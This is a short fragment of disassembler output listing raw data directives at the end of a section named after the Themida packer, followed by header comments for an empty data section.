dd 1C4ECF7Bh, 0FBh dup(1CBFE819h), 11321119h, 285h dup(11321161h)
dd 8FFh dup(0CCCCCCCCh), 0CCh, 199Fh dup(0)
db 3 dup(0)
byte_5E0EDF db 0 ; DATA XREF: Themida_:0054D84Co
align 200h
Themida_ ends
; Section 5. (virtual address 001E1000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001E1000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5E1000h
align 2000h
_idata2 ends
end start